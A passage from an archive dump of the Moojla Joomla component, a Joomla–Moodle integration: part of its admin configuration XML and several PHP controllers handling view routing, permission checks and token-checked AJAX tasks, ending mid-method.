               label="COM_MOOJLA_CONFIG_ADDCONTROLS_LABEL"
              
description="COM_MOOJLA_CONFIG_ADDCONTROLS_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Preloadvideo Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="preloadvideo"
               label="COM_MOOJLA_CONFIG_PRELOADVIDEO_LABEL"
              
description="COM_MOOJLA_CONFIG_PRELOADVIDEO_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Autoplay Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="autoplay"
               label="COM_MOOJLA_CONFIG_AUTOPLAY_LABEL"
              
description="COM_MOOJLA_CONFIG_AUTOPLAY_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Muted Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="muted"
               label="COM_MOOJLA_CONFIG_MUTED_LABEL"
               description="COM_MOOJLA_CONFIG_MUTED_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Audiospacer Field. Type: Spacer. A None Database Field. (joomla)
-->
	<field type="spacer"
               name="audiospacer"
               label="COM_MOOJLA_CONFIG_AUDIOSPACER_LABEL"
              
description="COM_MOOJLA_CONFIG_AUDIOSPACER_DESCRIPTION"
               class="audiospacer" />
		<!--  Preventdownloadaudio Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="preventdownloadaudio"
              
label="COM_MOOJLA_CONFIG_PREVENTDOWNLOADAUDIO_LABEL"
              
description="COM_MOOJLA_CONFIG_PREVENTDOWNLOADAUDIO_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Preloadaudio Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="preloadaudio"
               label="COM_MOOJLA_CONFIG_PRELOADAUDIO_LABEL"
              
description="COM_MOOJLA_CONFIG_PRELOADAUDIO_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Autoplayaudio Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="autoplayaudio"
               label="COM_MOOJLA_CONFIG_AUTOPLAYAUDIO_LABEL"
              
description="COM_MOOJLA_CONFIG_AUTOPLAYAUDIO_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
	</fieldset>
	<fieldset
		name="teacher_custom_config"
		label="COM_MOOJLA_CONFIG_TEACHER">

		<!--  Teacher_detail_layout Field. Type: Filelist. (joomla) -->
	<field type="filelist"
               name="teacher_detail_layout"
              
label="COM_MOOJLA_CONFIG_TEACHER_DETAIL_LAYOUT_LABEL"
              
directory="../components/com_moojla/views/teacherdetail/tmpl/"
               default=""
              
description="COM_MOOJLA_CONFIG_TEACHER_DETAIL_LAYOUT_DESCRIPTION"
               filter="^[^_]*\.php$"
               hide_none="ture"
               hide_default="true" />
	</fieldset>
	<fieldset
		name="users_custom_config"
		label="COM_MOOJLA_CONFIG_USERS">

		<!--  Additional_data_source Field. Type: Ads. (custom) -->
	<field type="ads"
               name="additional_data_source"
              
label="COM_MOOJLA_CONFIG_ADDITIONAL_DATA_SOURCE_LABEL"
              
description="COM_MOOJLA_CONFIG_ADDITIONAL_DATA_SOURCE_DESCRIPTION"
               class="list_class"
               multiple="false"
               default="0"
               button="false" />
		<!--  Student_group Field. Type: Usergroup. (joomla) -->
	<field type="usergroup"
               name="student_group"
               label="COM_MOOJLA_CONFIG_STUDENT_GROUP_LABEL"
              
description="COM_MOOJLA_CONFIG_STUDENT_GROUP_DESCRIPTION"
               default="2" />
		<!--  Teacher_group Field. Type: Usergroup. (joomla) -->
	<field type="usergroup"
               name="teacher_group"
               label="COM_MOOJLA_CONFIG_TEACHER_GROUP_LABEL"
              
description="COM_MOOJLA_CONFIG_TEACHER_GROUP_DESCRIPTION"
               default="6" />
		<!--  Total_fetch_moodle_users Field. Type: Number. (joomla) -->
	<field type="number"
               name="total_fetch_moodle_users"
              
label="COM_MOOJLA_CONFIG_TOTAL_FETCH_MOODLE_USERS_LABEL"
               default="1000"
              
description="COM_MOOJLA_CONFIG_TOTAL_FETCH_MOODLE_USERS_DESCRIPTION"
               class="text_area"
               min="1"
               max="40"
               step="10" />
		<!--  Number_per_request_fetch_moodle_users Field. Type: Number.
(joomla) -->
	<field type="number"
               name="number_per_request_fetch_moodle_users"
              
label="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_MOODLE_USERS_LABEL"
               default="50"
              
description="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_MOODLE_USERS_DESCRIPTION"
               class="text_area"
               min="1"
               max="40"
               step="10" />
	</fieldset>
	<fieldset
		name="shop_custom_config"
		label="COM_MOOJLA_CONFIG_SHOP">

		<!--  Shop_integration Field. Type: Shopintegration. (custom) -->
	<field type="shopintegration"
               name="shop_integration"
               label="COM_MOOJLA_CONFIG_SHOP_INTEGRATION_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOP_INTEGRATION_DESCRIPTION"
               class="list_class"
               multiple="false"
               default="0"
               button="false" />
		<!--  Shopcattype Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="shopcattype"
               label="COM_MOOJLA_CONFIG_SHOPCATTYPE_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOPCATTYPE_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_MOODLE_CATEGORY</option>
                <option
value="0">COM_MOOJLA_CONFIG_STATIC</option>
        </field>
		<!--  Courses_category Field. Type: Coursescategory. (custom) -->
	<field type="coursescategory"
               name="courses_category"
               label="COM_MOOJLA_CONFIG_COURSES_CATEGORY_LABEL"
              
description="COM_MOOJLA_CONFIG_COURSES_CATEGORY_DESCRIPTION"
               class="list_class"
               multiple="false"
               default="0"
               showon="shopcattype:0"
               button="false" />
		<!--  Onenrolmethoddeleted Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="onenrolmethoddeleted"
              
label="COM_MOOJLA_CONFIG_ONENROLMETHODDELETED_LABEL"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_UNPUBLISH</option>
                <option
value="0">COM_MOOJLA_CONFIG_DELETE</option>
        </field>
		<!--  Calculate_price_from Field. Type: List. (joomla) -->
	<field type="list"
               name="calculate_price_from"
              
label="COM_MOOJLA_CONFIG_CALCULATE_PRICE_FROM_LABEL"
               class="list_class"
               multiple="false"
               default=""
               >
                <!-- Option Set.-->
                <option
value="moojla">COM_MOOJLA_CONFIG_MOOJLA</option>
                <option
value="hikashop">COM_MOOJLA_CONFIG_HIKASHOP</option>
        </field>
	</fieldset>
	<fieldset
		name="skyroom_custom_config"
		label="COM_MOOJLA_CONFIG_SKYROOM">

		<!--  Moodleskyroommods Field. Type: Skyroommod. (custom) -->
	<field type="skyroommod"
               name="moodleskyroommods"
               label="COM_MOOJLA_CONFIG_MOODLESKYROOMMODS_LABEL"
              
description="COM_MOOJLA_CONFIG_MOODLESKYROOMMODS_DESCRIPTION"
               class="list_class"
               multiple="true"
               default="lmskaranskyroom"
               required="false"
               button="false" />
		<!--  Directentry Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="directentry"
               label="COM_MOOJLA_CONFIG_DIRECTENTRY_LABEL"
              
description="COM_MOOJLA_CONFIG_DIRECTENTRY_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
	</fieldset>
	<fieldset
		name="course_search_custom_config"
		label="COM_MOOJLA_CONFIG_COURSE_SEARCH">

		<!--  Note_for_role_in_course_search Field. Type: Note. A None
Database Field. (joomla) -->
	<field type="note"
               name="note_for_role_in_course_search"
              
label="COM_MOOJLA_CONFIG_NOTE_FOR_ROLE_IN_COURSE_SEARCH_LABEL"
              
description="COM_MOOJLA_CONFIG_NOTE_FOR_ROLE_IN_COURSE_SEARCH_DESCRIPTION"
               heading="h4"
               class="alert alert-info
note_for_role_in_course_search"
               close="true"
                />
		<!--  Tag Field. Type: Mtag. (custom) -->
	<field type="mtag"
               name="tag"
               label="COM_MOOJLA_CONFIG_TAG_LABEL"
               class="list_class"
               multiple="true"
               default=""
               showon="tag_widget:include,exclude" />
		<!--  Teacher Field. Type: Mteacher. (custom) -->
	<field type="mteacher"
               name="teacher"
               label="COM_MOOJLA_CONFIG_TEACHER_LABEL"
               class="list_class"
               multiple="true"
               default=""
               showon="teacher_widget:include,exclude" />
		<!--  Course_search_tmpl Field. Type: Filelist. (joomla) -->
	<field type="filelist"
               name="course_search_tmpl"
               label="COM_MOOJLA_CONFIG_COURSE_SEARCH_TMPL_LABEL"
              
directory="components/com_moojla/views/course_search/tmpl"
               default=""
              
description="COM_MOOJLA_CONFIG_COURSE_SEARCH_TMPL_DESCRIPTION"
               exclude="default\.php|\.(xml|html)$"
               hide_none="true" />
	</fieldset>
	<fieldset
		name="course_search_custom_config"
		label="COM_MOOJLA_CONFIG_COURSE_SEARCH">

		<!--  Role Field. Type: List. (joomla) -->
	<field type="list"
               name="role"
               label="COM_MOOJLA_CONFIG_ROLE_LABEL"
               description="COM_MOOJLA_CONFIG_ROLE_DESCRIPTION"
               class="list_class"
               default="0">
                <!-- Option Set.-->
                <option
value="0">COM_MOOJLA_CONFIG_SELECT_AN_OPTION</option>
                <option
value="1">COM_MOOJLA_CONFIG_MANAGER</option>
                <option
value="2">COM_MOOJLA_CONFIG_COURSE_CREATOR</option>
                <option
value="3">COM_MOOJLA_CONFIG_TEACHER</option>
                <option
value="4">COM_MOOJLA_CONFIG_NONEDITING_TEACHER</option>
                <option
value="5">COM_MOOJLA_CONFIG_STUDENT</option>
        </field>
	</fieldset>
	<fieldset
		name="fetches_custom_config"
		label="COM_MOOJLA_CONFIG_FETCHES">

		<!--  Coursegourpmap Field. Type: Spacer. A None Database Field.
(joomla) -->
	<field type="spacer"
               name="coursegourpmap"
               label="COM_MOOJLA_CONFIG_COURSEGOURPMAP_LABEL"
               class="coursegourpmap" />
		<!--  Coursegroupferchstep Field. Type: Integer. (joomla) -->
	<field type="integer"
               name="coursegroupferchstep"
              
label="COM_MOOJLA_CONFIG_COURSEGROUPFERCHSTEP_LABEL"
               default="5"
              
description="COM_MOOJLA_CONFIG_COURSEGROUPFERCHSTEP_DESCRIPTION"
               class="text_area"
               first="1"
               last="1000"
               step="1" />
		<!--  Coursegrouplog Field. Type: Text. (joomla) -->
	<field type="text"
               name="coursegrouplog"
               label="COM_MOOJLA_CONFIG_COURSEGROUPLOG_LABEL"
               size="256"
               maxlength="256"
               default=""
              
description="COM_MOOJLA_CONFIG_COURSEGROUPLOG_DESCRIPTION"
               class="text_area"
               filter="STRING"
               hint="COM_MOOJLA_CONFIG_COURSEGROUPLOG_HINT" />
	</fieldset>
	<fieldset
		name="enrolment_custom_config"
		label="COM_MOOJLA_CONFIG_ENROLMENT">

		<!--  Total_fetch_enrolment Field. Type: Number. (joomla) -->
	<field type="number"
               name="total_fetch_enrolment"
              
label="COM_MOOJLA_CONFIG_TOTAL_FETCH_ENROLMENT_LABEL"
               default="1000"
              
description="COM_MOOJLA_CONFIG_TOTAL_FETCH_ENROLMENT_DESCRIPTION"
               class="text_area"
               min="1"
               max="40"
               step="10" />
		<!--  Number_per_request_fetch_enrolment Field. Type: Number. (joomla)
-->
	<field type="number"
               name="number_per_request_fetch_enrolment"
              
label="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_ENROLMENT_LABEL"
               default="50"
              
description="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_ENROLMENT_DESCRIPTION"
               class="text_area"
               min="1"
               max="40"
               step="10" />
	</fieldset>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC">
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			class="inputbox"
			validate="rules"
			filter="rules"
			component="com_moojla"
			section="component"
		/>
	</fieldset>
</config>controller.php000064400000010242151165724360007451
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		controller.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * General Controller of Moojla component
 */
class MoojlaController extends JControllerLegacy
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 * Recognized key values include 'name',
'default_task', 'model_path', and
	 * 'view_path' (this list is not meant to be comprehensive).
	 *
	 * @since   3.0
	 */
	public function __construct($config = array())
	{
		// set the default view
		$config['default_view'] = 'moojla';

		parent::__construct($config);
	}

	/**
	 * display task
	 *
	 * @return void
	 */
	function display($cachable = false, $urlparams = false)
	{
		// set default view if not set
		$view   = $this->input->getCmd('view',
'moojla');
		$data	= $this->getViewRelation($view);
		$layout	= $this->input->get('layout', null,
'WORD');
		$id    	= $this->input->getInt('id');

		// Check for edit form.
		if(MoojlaHelper::checkArray($data))
		{
			if ($data['edit'] && $layout == 'edit'
&&
!$this->checkEditId('com_moojla.edit.'.$data['view'],
$id))
			{
				// Somehow the person just went to the form - we don't allow that.
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID',
$id));
				$this->setMessage($this->getError(), 'error');
				// check if item was opend from other then its own list view
				$ref 	= $this->input->getCmd('ref', 0);
				$refid 	= $this->input->getInt('refid', 0);
				// set redirect
				if ($refid > 0 && MoojlaHelper::checkString($ref))
				{
					// redirect to item of ref
					$this->setRedirect(JRoute::_('index.php?option=com_moojla&view='.(string)$ref.'&layout=edit&id='.(int)$refid,
false));
				}
				elseif (MoojlaHelper::checkString($ref))
				{

					// redirect to ref
					$this->setRedirect(JRoute::_('index.php?option=com_moojla&view='.(string)$ref,
false));
				}
				else
				{
					// normal redirect back to the list view
					$this->setRedirect(JRoute::_('index.php?option=com_moojla&view='.$data['views'],
false));
				}

				return false;
			}
		}

		return parent::display($cachable, $urlparams);
	}

	protected function getViewRelation($view)
	{
		// check the we have a value
		if (MoojlaHelper::checkString($view))
		{
			// the view relationships
			$views = array(
				'course' => 'courses',
				'course_field_mapper' => 'course_fields_mapper',
				'user_map' => 'user_maps',
				'user_field_map' => 'user_fields_map',
				'course_group_map' => 'course_group_maps',
				'enrolment' => 'enrolments',
				'tag' => 'tags',
				'tag_instance' => 'tag_instances',
				'section' => 'sections',
				'module' => 'modules',
				'content' => 'contents',
				'category_map' => 'categories_map',
				'cohort' => 'cohorts'
					);
			// check if this is a list view
			if (in_array($view, $views))
			{
				// this is a list view
				return array('edit' => false, 'view' =>
array_search($view,$views), 'views' => $view);
			}
			// check if it is an edit view
			elseif (array_key_exists($view, $views))
			{
				// this is a edit view
				return array('edit' => true, 'view' => $view,
'views' => $views[$view]);
			}
		}
		return false;
	}
}
controllers/ajax.json.php000064400000011366151165724360011537
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		ajax.json.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Ajax Controller
 */
class MoojlaControllerAjax extends JControllerLegacy
{
	public function __construct($config)
	{
		parent::__construct($config);
		// make sure all json stuff are set
		JFactory::getDocument()->setMimeEncoding( 'application/json'
);
		JResponse::setHeader('Content-Disposition','attachment;filename="getajax.json"');
		JResponse::setHeader("Access-Control-Allow-Origin",
"*");
		// load the tasks 
		$this->registerTask('shop_requirement', 'ajax');
		$this->registerTask('userbatch', 'ajax');
		$this->registerTask('addMapperRows', 'ajax');
	}

	public function ajax()
	{
		$user 		= JFactory::getUser();
		$jinput 	= JFactory::getApplication()->input;
		// Check Token!
		$token 		= JSession::getFormToken();
		$call_token	= $jinput->get('token', 0, 'ALNUM');
		if($jinput->get($token, 0, 'ALNUM') || $token ===
$call_token)
		{
			$task = $this->getTask();
			switch($task)
			{
				case 'shop_requirement':
					try
					{
						$returnRaw = $jinput->get('raw', false,
'BOOLEAN');
						$shop_nameValue = $jinput->get('shop_name', NULL,
'STRING');
						if($shop_nameValue)
						{
							$result =
$this->getModel('ajax')->shop_requirement($shop_nameValue);
						}
						else
						{
							$result = false;
						}
						if($callback = $jinput->get('callback', null,
'CMD'))
						{
							echo $callback . "(".json_encode($result).");";
						}
						elseif($returnRaw)
						{
							echo json_encode($result);
						}
						else
						{
							echo "(".json_encode($result).");";
						}
					}
					catch(Exception $e)
					{
						if($callback = $jinput->get('callback', null,
'CMD'))
						{
							echo $callback."(".json_encode($e).");";
						}
						else
						{
							echo "(".json_encode($e).");";
						}
					}
				break;
				case 'userbatch':
					try
					{
						$returnRaw = $jinput->get('raw', false,
'BOOLEAN');
						$usersValue = $jinput->get('users', NULL,
'ARRAY');
						$groupValue = $jinput->get('group', NULL,
'ARRAY');
						$opValue = $jinput->get('op', NULL, 'ARRAY');
						if($user->id != 0)
						{
							$result =
$this->getModel('ajax')->userbatch($usersValue,
$groupValue, $opValue);
						}
						else
						{
							$result = false;
						}
						if($callback = $jinput->get('callback', null,
'CMD'))
						{
							echo $callback . "(".json_encode($result).");";
						}
						elseif($returnRaw)
						{
							echo json_encode($result);
						}
						else
						{
							echo "(".json_encode($result).");";
						}
					}
					catch(Exception $e)
					{
						if($callback = $jinput->get('callback', null,
'CMD'))
						{
							echo $callback."(".json_encode($e).");";
						}
						else
						{
							echo "(".json_encode($e).");";
						}
					}
				break;
				case 'addMapperRows':
					try
					{
						$returnRaw = $jinput->get('raw', false,
'BOOLEAN');
						$adsValue = $jinput->get('ads', NULL,
'STRING');
						$result =
$this->getModel('ajax')->addMapperRows($adsValue);
						if($callback = $jinput->get('callback', null,
'CMD'))
						{
							echo $callback . "(".json_encode($result).");";
						}
						elseif($returnRaw)
						{
							echo json_encode($result);
						}
						else
						{
							echo "(".json_encode($result).");";
						}
					}
					catch(Exception $e)
					{
						if($callback = $jinput->get('callback', null,
'CMD'))
						{
							echo $callback."(".json_encode($e).");";
						}
						else
						{
							echo "(".json_encode($e).");";
						}
					}
				break;
			}
		}
		else
		{
			if($callback = $jinput->get('callback', null,
'CMD'))
			{
				echo $callback."(".json_encode(false).");";
			}
			else
			{
				echo "(".json_encode(false).");";
			}
		}
	}
}
controllers/categories_map.php000064400000003604151165724360012622
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		categories_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Categories_map Controller
 */
class MoojlaControllerCategories_map extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_CATEGORIES_MAP';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Category_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/category_map.php000064400000020247151165724360012314
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		category_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Category_map Controller
 */
class MoojlaControllerCategory_map extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Categories_map'; // safeguard for
setting the return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.category_map.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.category_map.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Category_map', '',
array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=categories_map'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
